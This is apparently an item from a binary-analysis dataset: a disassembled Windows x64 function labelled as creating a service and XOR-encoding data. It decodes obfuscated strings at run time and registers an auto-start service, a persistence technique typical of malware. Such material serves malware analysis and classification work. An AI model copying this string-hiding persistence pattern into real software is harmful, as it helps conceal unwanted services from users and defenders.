Function at 0x140005260
Capabilities:
Create service
Encode data using xor

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x30]
sub rsp, 0x130
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
xor ebx, ebx
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140005534
mov qword [rsp + 0x150], rsi
mov ecx, ebx
mov qword [rsp + 0x158], r12
mov qword [rsp + 0x160], r13
mov qword [rsp + 0x128], r14
mov r14d, 0x63b
mov qword [rsp + 0x120], r15
mov dword [rbp - 0x40], 0x6060678
mov dword [rbp - 0x3c], 0x6690661
mov dword [rbp - 0x38], 0x62e0656
mov dword [rbp - 0x34], 0x62d0625
mov dword [rbp - 0x30], 0x6370634
mov dword [rbp - 0x2c], 0x6150619
mov dword [rbp - 0x28], 0x63b063e
mov dword [rbp - 0x24], 0x62f063d
mov dword [rbp - 0x20], 0x67f0626
mov dword [rbp - 0x1c], 0x612067f
mov dword [rbp - 0x18], 0x622062b
mov dword [rbp - 0x14], 0x6240638
mov dword [rbp - 0x10], 0x6260636
mov dword [rbp - 0xc], 0x60a0626
mov dword [rbp - 8], 0x6350621
mov dword [rbp - 4], 0x62f063b
mov dword [rbp], 0x62e0628
mov dword [rbp + 4], 0x637063c
mov dword [rbp + 8], 0x64e063b
mov dword [rbp + 0xc], 0x61b0612
mov dword [rbp + 0x10], 0x610
mov byte [rbp + 0x14], 1
nop dword [rax + rax]
lea eax, [r14 + rcx]
xor word [rbp + rcx*2 - 0x40], ax
inc rcx
cmp rcx, 0x29
jb 0x140005360
mov byte [rbp + 0x14], bl
mov rcx, rbx
mov dword [rbp - 0x68], 0x65d0668
mov dword [rbp - 0x64], 0x65a0653
mov dword [rbp - 0x60], 0x60b0646
mov dword [rbp - 0x5c], 0x6300624
mov dword [rbp - 0x58], 0x621062d
mov dword [rbp - 0x54], 0x629
mov byte [rbp - 0x50], 1
nop word [rax + rax]
lea eax, [r14 + rcx]
xor word [rbp + rcx*2 - 0x68], ax
inc rcx
cmp rcx, 0xb
jb 0x1400053b0
mov byte [rbp - 0x50], bl
mov rcx, rbx
mov dword [rsp + 0x70], 0x65d0668
mov dword [rsp + 0x74], 0x65a0653
mov dword [rsp + 0x78], 0x6020646
mov dword [rsp + 0x7c], 0x62b0633
mov dword [rbp - 0x80], 0x6230627
mov dword [rbp - 0x7c], 0x620
mov byte [rbp - 0x78], 1
nop word [rax + rax]
lea eax, [r14 + rcx]
xor word [rsp + rcx*2 + 0x70], ax
inc rcx
cmp rcx, 0xb
jb 0x140005400
mov qword [rsp + 0x60], rbx
lea rax, [rbp - 0x40]
mov qword [rsp + 0x58], rbx
lea r8, [rbp - 0x68]
mov qword [rsp + 0x50], rbx
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x48], rbx
mov r9d, 0x10030
mov qword [rsp + 0x40], rbx
mov rcx, rdi
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
mov byte [rbp - 0x78], bl
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400054af
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rax, rsi
mov r14, qword [rsp + 0x128]
mov r13, qword [rsp + 0x160]
mov r12, qword [rsp + 0x158]
mov rsi, qword [rsp + 0x150]
mov r15, qword [rsp + 0x120]
add rsp, 0x130
pop rdi
pop rbx
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x14000551f
mov dword [rsp + 0x70], 0x65d0668
mov dword [rsp + 0x74], 0x65a0653
mov dword [rsp + 0x78], 0x6020646
mov dword [rsp + 0x7c], 0x62b0633
mov dword [rbp - 0x80], 0x6230627
mov dword [rbp - 0x7c], 0x620
mov byte [rbp - 0x78], 1
nop
lea eax, [r14 + rbx]
xor word [rsp + rbx*2 + 0x70], ax
inc rbx
cmp rbx, 0xb
jb 0x1400054f0
mov r8d, 0x10030
mov byte [rbp - 0x78], 0
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
jmp 0x14000547c
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rax, 0xffffffffffffffff
jmp 0x14000547c
movdqa xmm0, xmmword [0x14030e380]
movdqa xmm1, xmmword [0x14030e400]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x70], 0x7e38303f
movdqu xmmword [rbp - 0x80], xmm1
mov word [rbp - 0x6c], 0x55
mov byte [rbp - 0x6a], 1
lea eax, [rbx + 0x3b]
xor byte [rsp + rbx + 0x70], al
inc rbx
cmp rbx, 0x25
jb 0x140005560
lea rcx, [rsp + 0x70]
mov byte [rbp - 0x6a], 0
call fcn.140005200
mov rax, 0xffffffffffffffff
add rsp, 0x130
pop rdi
pop rbx
pop rbp
ret